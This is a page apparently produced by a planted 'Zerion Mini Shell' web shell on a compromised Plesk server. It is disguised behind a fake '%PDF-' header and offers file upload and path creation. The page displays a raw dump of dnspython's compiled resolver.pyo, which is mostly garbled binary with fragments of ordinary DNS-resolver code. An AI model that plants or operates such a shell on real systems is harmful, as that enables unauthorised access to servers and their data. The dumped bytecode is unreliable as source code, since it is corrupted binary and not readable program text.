%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/
Upload File :
Create Path :
Current File : //proc/self/root/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyo

�
�ac@s�ddlZddlZddlZddlZyddlZWnek
r_ddlZnXddlZ	ddl
Z	ddlZ	ddlZ	ddl
Z	ddlZ	ddlZ	ddlZ	ddlZ	ddlZ	ddlZ	ddlZ	ddlmZmZejdkrHyddlZWnek
rDddlZnXnde	jjfd��YZde	jjfd��YZe	jjZd	e	jjfd
��YZ de	jjfd��YZ!d
e	jjfd��YZ"de	jjfd��YZ#de	jjfd��YZ$de%fd��YZ&de%fd��YZ'de%fd��YZ(de%fd��YZ)de%fd��YZ*e+a,d�Z-d�Z.e	j/j0e	j1j2e3e+e4de+d �Z5e	j1j2e3e+d!�Z6iej7gej86ej9gej:6Z;e+a<ej=Z>ej?Z@ejAZBejCZDejEZFejGZHe+e+ejIdddd"�ZJdd#�ZKe+d$�ZLd%�ZMd&�ZNd'�ZOe+d(�ZPd)�ZQdS(*i����Ni(txrangetstring_typestwin32tNXDOMAINcBsneZddhZdZdd�Zd�Zd�Zeedd�Zd�Z	d�Z
d	�Zd
�ZRS(tqnamest	responsescCs�t|tttf�s'td��nt|�dkrHtd��n|dkr]i}nt|t�s{td��ntd|d|�}|S(Ns#qnames must be a list, tuple or setis(qnames must contain at least one elements(responses must be a dict(qname=response)RR(t
isinstancetlistttupletsettAttributeErrortlentNonetdict(tselfRRtkwargs((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt
_check_kwargs7s	cCsxd|jkr"tt|�j�S|jd}t|�dkrJd}nd}djtt|��}dj||�S(NRisNone of DNS query names exists!The DNS query name does not exists, s{}: {}(	RtsuperRt__str__Rtjointmaptstrtformat(RRtmsg((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyRCs
	cCs�d|jkrtd��ntjj}tjj}d}x�|jdD]�}|jd|}xK|jD]@}|j	|ksk|j
|kr�qkn|jdjj
�}qkW|dk	rJtjj|�SqJW|jddS(NRsparametrized exception requiredRi(Rt	TypeErrortdnst
rdataclasstINt	rdatatypetCNAMERtanswertrdtypetrdclasstitemsttargettto_texttnamet	from_text(RRRtcnametqnametresponseR((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pytcanonical_nameNstdocs%Return the unresolved canonical name.cCs�t|jjdg��}t|jjdi��}|jjdi�}xV|jjdg�D]?}||kr�|j|�n||kra||||<qaqaWtd|d|�S(NRR(RRtgetR
tappendR(Rte_nxtqnames0t
responses0t
responses1tqname1((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt__add__`scCs|jdS(NR(R(R((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyRlscCs|jdS(NR(R(R((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyRsscCs|jd|S(NR(R(RR'((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR({sN(
t__name__t
__module__tsupp_kwargsRtfmtRRR)tpropertyR2RRR((((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR2s							tYXDOMAINcBseZRS((R3R4(((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR8�stNoAnswercBs$eZddZdhZd�ZRS(s,The DNS response does not contain an answer sto the question: {query}R(cKs tt|�jd|dj�S(NtqueryR((RR9t_fmt_kwargstquestion(RR((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR;�s(R3R4R6R5R;(((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR9�s	t
NoNameserverscBs1eZdZded ZddhZd�ZRS(s+All nameservers failed to answer the query.s%s {query}: {errors}i����trequestterrorscKs�g}xM|dD]A}|jdj|d|dr:dnd|d|d��qWtt|�jd	|d
jddj|��S(NR?s Server {} {} port {} answered {}iitTCPtUDPiiR:R>s; (R,RRR=R;R<R(RRtsrv_msgsterr((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR;�s,(R3R4RR6R5R;(((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR=�s	tNotAbsolutecBseZRS((R3R4(((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyRD�st	NoRootSOAcBseZRS((R3R4(((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyRE�st
NoMetaqueriescBseZRS((R3R4(((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyRF�stAnswercBsAeZed�Zd�Zd�Zd�Zd�Zd�ZRS(cCsz||_||_||_||_d}d}x5tdd�D]$}yG|j|j|||�}|dks|j|kr�|j}nPWq@t	k
rc|t
jjkrHyj|j|j||t
jj�}	|dks�|	j|kr�|	j}nx|	D]}
|
j
}PqWw@WqHt	k
rD|rEtd|��qEqHXn|rdtd|��qdq@Xq@W|dkr�|r�td|��n||_||_|dkrcx�yp|j|j||t
jj�}|dks�|j|kr�|j}n|dj|kr|dj}nPWq�t	k
r[y|j�}Wq\t
jjk
rWPq\Xq�Xq�Wntj�||_dS(Ni����iiR((R'RR R(RRt
find_rrsetRtttltKeyErrorRRRR"R9R)trrsett	authoritytSOAtminimumtparentR$tNoParentttimet
expiration(RR'RR R(traise_on_no_answertmin_ttlRKtcounttcrrsettrdtsrrset((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt__init__�sf				

	
		
cCs~|dkr|jjS|dkr,|jjS|dkrB|jjS|dkrX|jjS|dkrn|jjSt|��dS(NR$RItcoversR R(RKR$RIRZR RR
(Rtattr((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt__getattr__s




cCs|jrt|j�pdS(Ni(RKR(R((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt__len__scCs%|jrt|j�p$tt��S(N(RKtiterR(R((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt__iter__scCs#|jdkrt�n|j|S(N(RKRt
IndexError(Rti((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt__getitem__s	cCs&|jdkrt�n|j|=dS(N(RKRR`(RRa((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt__delitem__s	(	R3R4tTrueRYR\R]R_RbRc(((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyRG�s7				tCachecBs;eZdd�Zd�Zd�Zd�Zdd�ZRS(g�r@cCs;i|_||_tj�|j|_tj�|_dS(N(tdatatcleaning_intervalRQt
next_cleaningt
_threadingtLocktlock(RRg((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyRY$s		cCs�tj�}|j|kr�g}x<|jj�D]+\}}|j|kr1|j|�q1q1Wx|D]}|j|=qgWtj�}||j|_ndS(N(RQRhRfR!RRR,Rg(Rtnowtkeys_to_deletetktv((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt_maybe_clean.s
cCskzV|jj�|j�|jj|�}|dksM|jtj�krQdS|SWd|jj�XdS(N(	RktacquireRpRfR+RRRRQtrelease(RtkeyRo((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR+<s

!cCs=z(|jj�|j�||j|<Wd|jj�XdS(N(RkRqRpRfRr(RRstvalue((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pytputQs
	

cCspz[|jj�|dk	r;||jkrZ|j|=qZni|_tj�|j|_Wd|jj�XdS(N(RkRqRRfRQRgRhRr(RRs((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pytflushas

	N(R3R4RYRpR+RuRRv(((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyRe!s

			tLRUCacheNodecBs,eZd�Zd�Zd�Zd�ZRS(cCs(||_||_||_||_dS(N(RsRttprevtnext(RRsRt((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyRYzs			cCs.|j|_||_||j_||_dS(N(RxRy(Rtnode((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pytlink_before�s	cCs.||_|j|_||j_||_dS(N(RxRy(RRz((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt
link_after�s	cCs"|j|j_|j|j_dS(N(RxRy(R((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pytunlink�s(R3R4RYR{R|R}(((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyRwws			tLRUCachecBs;eZdd�Zd�Zd�Zd�Zdd�ZRS(i��cCs;i|_|j|�tdd�|_tj�|_dS(N(Rftset_max_sizeRwRtsentinelRiRjRk(Rtmax_size((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyRY�s	
cCs"|dkrd}n||_dS(Ni(R�(RR�((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR�s	cCs�z}|jj�|jj|�}|dkr2dS|j�|jjtj�kre|j|j	=dS|j
|j�|jSWd|jj�XdS(N(
RkRqRfR+RR}RtRRRQRsR|R�Rr(RRsRz((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR+�s


cCs�z�|jj�|jj|�}|dk	rH|j�|j|j=nx?t|j�|jkr�|j	j
}|j�|j|j=qKWt||�}|j|j	�||j|<Wd|jj
�XdS(N(RkRqRfR+RR}RsRR�R�RxRwR|Rr(RRsRtRz((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyRu�s	


cCs�z�|jj�|dk	rW|jj|�}|dk	r�|j�|j|j=q�nL|jj}x4||jkr�|j}d|_	d|_|}qfWi|_Wd|jj
�XdS(N(RkRqRRfR+R}RsR�RyRxRr(RRsRzRy((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyRv�s


			

N(R3R4RYRR+RuRRv(((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR~�s


			tResolvercBs�eZded�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zdd�Zejjejjededdd
�Zdejjd�Zd�Zd�ZRS(s/etc/resolv.confcCs�d|_d|_d|_d|_d|_d|_d|_d|_d|_	d|_
d|_d|_d|_
d|_d|_t|_t|_|j�|r�tjdkr�|j�q�|r�|j|�q�ndS(NR(Rtdomaintnameserverstnameserver_portstporttsearchttimeouttlifetimetkeyringtkeynametkeyalgorithmtednst	ednsflagstpayloadtcachetflagstFalsetretry_servfailtrotatetresettsystplatformt
read_registrytread_resolv_conf(Rtfilenamet	configure((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyRY�s.																	

cCs�tjjtjjtj��d�|_t|j�dkrRtjj|_ng|_	i|_
d|_g|_d|_
d|_d|_d|_tjj|_d|_d|_d|_d|_d|_t|_t|_dS(Niii5g@g>@i����(RR$tNameR%tsockettgethostnameR�RtrootR�R�R�R�R�R�RR�R�ttsigtdefault_algorithmR�R�R�R�R�R�R�R�R�(R((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR�#s&+														cCs�t|t�rLyt|d�}Wntk
rBdg|_dSXt}nt}z7x0|D](}t|�dks\|ddks\|ddkr�q\n|j�}t|�dkr�q\n|ddkr�|jj	|d�q\|dd	krt
jj|d�|_
q\|dd
krUx`|dD]"}|jj	t
jj|��q,Wq\|ddkr\d|dkr�t|_q�q\q\WWd|r�|j�nXt|j�dkr�|jj	d�ndS(
Ntrs	127.0.0.1it#t;it
nameserveriR�R�toptionsR�(RRtopentIOErrorR�RdR�RtsplitR,RR$R%R�R�R�tclose(Rtft
want_closetlttokenstsuffix((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR�;s:
	
2#cCsF|jd�dkrd}n$|jd�dkr<d}nd}|S(Nt it,(tfind(Rtentryt
split_char((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt_determine_split_chares		cCsat|�}|j|�}|j|�}x0|D](}||jkr1|jj|�q1q1WdS(N(RR�R�R�R,(RR�R�tns_listtns((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt_config_win32_nameserversts
cCstjjt|��|_dS(N(RR$R%RR�(RR�((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt_config_win32_domain}scCsmt|�}|j|�}|j|�}x<|D]4}||jkr1|jjtjj|��q1q1WdS(N(RR�R�R�R,RR$R%(RR�R�tsearch_listts((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt_config_win32_search�s
cCs�ytj|d�\}}Wntk
r5d}nX|rL|j|�n|sX|r�y2tj|d�\}}|r�|j|�nWq3tk
r�q3Xn�ytj|d�\}}Wntk
r�d}nX|r3|j|�y2tj|d�\}}|r|j|�nWq3tk
r/q3Xnytj|d�\}}Wntk
rhd}nX|r|j|�ndS(Nt
NameServertDomaintDhcpNameServert
DhcpDomaint
SearchList(t_winregtQueryValueExtWindowsErrorRR�R�R�(RRstalways_try_domaintserverstrtypetdomR�((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt_config_win32_fromkey�s>








cCsYtjdtj�}t}z,ytj|d�}t}Wn#tk
r_tj|d�}nXz|j|t�Wd|j	�X|rFtj|d�}z�d}x�tr3yotj
||�}|d7}tj||�}|j|||�s�w�nz|j|t�Wd|j	�XWq�tk
r/Pq�Xq�WWd|j	�XnWd|j	�XdS(Ns2SYSTEM\CurrentControlSet\Services\Tcpip\Parameterss+SYSTEM\CurrentControlSet\Services\VxD\MSTCPs=SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfacesii(R�tConnectRegistryRtHKEY_LOCAL_MACHINER�tOpenKeyRdtEnvironmentErrorR�tClosetEnumKeyt_win32_is_nic_enabled(Rtlmt	want_scant
tcp_paramst
interfacesRatguidRs((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR��s@		

	
			


c
Csy�tj|d|�}z�tj|d�\}}|tjkrLt�ntj|d|�}z=tj|d�\}}|tjkr�t�n|d@SWd|j�XWd|j�XWnRttfk
ry&tj|d�\}	}|	dk	SWqt	k
r
t
SXnXdS(Ns]SYSTEM\CurrentControlSet\Control\Network\{4D36E972-E325-11CE-BFC1-08002BE10318}\%s\Connectiont
PnpInstanceIDs SYSTEM\CurrentControlSet\Enum\%stConfigFlagsitNTEContextList(R�R�R�tREG_SZt
ValueErrort	REG_DWORDR�R�RR�R�(
RR�R�t
interface_keytconnection_keytpnp_idtttypet
device_keyR�tnte((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR��s6
		
	
cCs�|dkr|jn|}tj�}||}|dkrd|dkr[td|��qd|}n||kr�td|��nt|||j�S(Nii����R�(RR�RQtTimeouttminR�(RtstartR�Rltduration((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt_compute_timeouts
	ic	Cs�t|t�r'tjj|d�}nt|t�rKtjj|�}ntjj|�rft�nt|t�r�tj	j|�}ntj	j
|�r�t�ng}	|j�r�|	j|�n�t
|�dkr�|	j|jtjj��n|jr.xC|jD]}
|	j|j|
��qWn|	j|j|j��t}i}tj�}
d}x�|	D]�}|jr�|jj|||f�}|dk	r�|jdkr�|r�td|j��q�|Sq�ntjj|||�}|jdk	r|j|j|jd|j�n|j|j |j!|j"�|j#dk	rY|j#|_#nd}|j$}g}|j%r�t&j'|�nd}xl|dkr�t
|�dkr�t(d|d|��nx�|D]�}|j)|
|�}|j*j||j+�}y�|}|r8tj,j-||||d|d	|�}n|tj,j.||||d|d	|�}|j#tj#j/@r�t}|j)|
|�}tj,j-||||d|d	|�}nWnt0j1tj2j3fk
r�}|j|||||f�d}q�n�tj,j4k
r;}|j|||||f�d}q�n�tj2j5k
r�}|j6|�|j|||||f�d}q�nEt7k
r�}|j6|�|j|||||f�d}q�nX|j8�}|tj8j9krt9�}|j|||||f�|�n|tj8j:ks:|tj8j;kr>Pn|tj8j<ksZ|j=rj|j6|�n|j|||tj8j>|�|f�d}q�W|dk	r�Pnt
|�dkr�|j)|
|�}t?||�}|d
9}tj@|�q�q�W|j8�tj8j;kr%|||<qlntA}PqlW|rNt;d|	d|��ntB|||||�}|jr�|jjC|||f|�n|S(
NiR(t	algorithmg�������?iR>R?tsourcetsource_portiRR(DRRRR$R%RRtis_metatypeRFRtis_metaclasstis_absoluteR,RtconcatenateR�R�R�RdRQR�R+RKR9R(tmessaget
make_queryR�tuse_tsigR�R�tuse_ednsR�R�R�R�R�R�trandomtshuffleR=R�R�R�R:ttcptudptTCR�terrort	exceptionR�tUnexpectedSourcet	FormErrortremovetEOFErrortrcodeR8tNOERRORRtSERVFAILR�R#R�tsleepR�RGRu(RR'RR R�R�RSR�R�t
qnames_to_tryR�tall_nxdomaintnxdomain_responsesR�t_qnameRR>R(R�R?tbackoffR�R�R�ttcp_attempttexR�t
sleep_time((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR:"s�-			
	


					





	
	


		cCsJ||_|dkr4t|jj��d|_n	||_||_dS(Ni(R�RRtkeysR�R�(RR�R�R�((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR��s
		cCs4|dkrd}n||_||_||_dS(Ni����(RR�R�R�(RR�R�R�((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR�s
			cCs
||_dS(N(R�(RR�((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt	set_flags!sN(R3R4RdRYR�R�R�R�R�R�R�R�R�RR�RRtARRR�R:R�R�R�R�R
(((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR��s$%		*							"	.	7�	cCstdkrt�ntS(N(tdefault_resolverRtreset_default_resolver(((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pytget_default_resolver.s
cCs
t�adS(N(R�R(((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR
5sic	Cs%t�j||||||||�S(N(RR:(R'RR R�R�RSR�R�((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyR:@scCs�t|t�r-tjj|tjj�}n|dkrEt�}n|j�s`t	|��nx�y8|j
|tjj||�}|j
j|kr�|SWn#tjjtjjfk
r�nXy|j�}Wqctjjk
r�t�qcXqcWdS(N(RRRR$R%R�RRR�RDR:RRMRKtresolverRR9RORPRE(R$R R�RR((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt
zone_for_nameQs"cCs|tjtjB@dkr#t�n|dkrP|dkrPtjtj��ng}g}d}y�|dkr�d}|tj@dkr�|jd�|jd�q|jd�|jd�nY|j	d�}	t
|	�dkr�|	d}
n|}
tjj
|
�}|j|�|}Wn�tk
r�y)tjj
|�}|j|�|}Wq�tk
r�|tj@dkr�y$|tjks�|tjkr
tj|tjjd	t�}|j}|jjt�}|jdk	r
x$|jD]}
|j|
j�q�Wq
n|tjks+|tjkr�tj|tjjd	t�}|j}|jjt�}|jdk	r�x$|jD]}
|j|
j�q}Wq�nWq�tj j!k
r�tjtj��q�tk
r�tjtj"��q�Xq�q�XnXd}y%|dkrd}nt#|�}WnNtk
rr|tj$@dkrsytj%|�}Wqotk
rkqoXqsnX|dkr�tjtj��ng}|dkr�tj&tj'g}n	|g}|tj(@dkr�|}nd
}|tjks|tjkrixb|D]W}xN|D]F}x=t)|D]1}|jtj|||||ddff�q)WqWqWn|tjks�|tjkr�x\|D]Q}xH|D]@}x7t)|D]+}|jtj|||||ff�q�Wq�Wq�Wnt
|�dkr
tjtj��n|S(Nit	localhosts::s0.0.0.0s::1s	127.0.0.1t%iRSt(*R�t
AI_ADDRCONFIGtAI_V4MAPPEDtNotImplementedErrorRtgaierrort
EAI_NONAMEt
AI_PASSIVER,R�RRtipv6t	inet_atont	Exceptiontipv4tAI_NUMERICHOSTtAF_INET6t	AF_UNSPECt	_resolverR:RtAAAAR�R'R)R#RdRKtaddresstAF_INETRRRt
EAI_SYSTEMtinttAI_NUMERICSERVt
getservbynamet
SOCK_DGRAMtSOCK_STREAMtAI_CANONNAMEt_protocols_for_socktype(thosttservicetfamilytsocktypetprotoR�tv6addrstv4addrsR)tpartstahosttaddrtv6trdatatv4R�ttuplest	socktypesR&((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt_getaddrinfo�s�	








				
!	

		

(

"c
Cs�|d}|d}t|�dkr<|d}tj}nd}tj}t|||tjtjd�}t|�dkr�tjd��n|ddd}|tj	@r�d}nd}t
jj|�}	|tj
@dkr�y/tj|	d�}
|
jdjjt�}Wq�t
jjt
jjfk
r�|tj@rVtjtj��n|}|dk	r�|d	t|�7}q�q�Xn)|}|dk	r�|d	t|�7}n|tj@r�t|�}ntj||�}||fS(
Niiiis'sockaddr resolved to multiple addressesR�R�tPTRR(RR�RRR$R<R*tSOL_TCPR�tNI_DGRAMRtreversenametfrom_addresstNI_NUMERICHOSTR!R:RKR"R#RdRRR9tNI_NAMEREQDRRRtNI_NUMERICSERVt
getservbyport(
tsockaddrR�R-R�tscopeR/R:R6tpnameR'RthostnameR.((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt_getnameinfo�sB


	
	

cCsW|dkrtj�}ny#tt|d�dd�dSWntk
rR|SXdS(NiPii(RR�R�RJR<R(R$((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt_getfqdns#
cCst|�ddS(Nii(t_gethostbyname_ex(R$((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt_gethostbynamescCstg}g}t|dtjtjtjtj�}|dd}x#|D]}|j|dd�qHW|||fS(Niii(R<R�R$R*R>R+R,(R$taliasest	addressesR:t	canonicaltitem((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyRL#s
c
Cs�y/tjj|�|dddf}tj}Wn&tk
rW|df}tj}nXt|tj�\}}g}g}t	|d|tj
tjtj�}|dd}x#|D]}	|j
|	dd�q�W|||fS(NiPiii(RRRR�RRR$RJRCR<R*R>R+R,(
tipRFR/R$R�RNROR:RPRQ((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt_gethostbyaddr/s 



cCsX|dkrt�}n|att_tt_tt_	t
t_tt_
tt_dS(N(RRR!R<R�tgetaddrinfoRJtgetnameinfoRKtgetfqdnRMt
gethostbynameRLtgethostbyname_exRSt
gethostbyaddr(R((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pytoverride_system_resolverCs					cCs@datt_tt_tt_t	t_
tt_t
t_dS(N(RR!t_original_getaddrinfoR�RTt_original_getnameinfoRUt_original_getfqdnRVt_original_gethostbynameRWt_original_gethostbyname_exRXt_original_gethostbyaddrRY(((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pytrestore_system_resolver]s					(RR�R�RQR�t	threadingRitImportErrortdummy_threadingt
dns.exceptionRt	dns.flagstdns.ipv4tdns.ipv6tdns.messagetdns.namet	dns.queryt	dns.rcodetdns.rdataclasst
dns.rdatatypetdns.reversenametdns.tsigt_compatRRR�twinregR�R�tDNSExceptionRR8R�R9R=RDRERFtobjectRGReRwR~R�RRRR
RRRRR�RdR:RtSOL_UDPR)R>R*R,R!RTR[RUR\RVR]RWR^RXR_RYR`R R<RJRKRMRLRSRZRa(((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/resolver.pyt<module>s�

QgVj��2			+						c(				

Zerion Mini Shell 1.0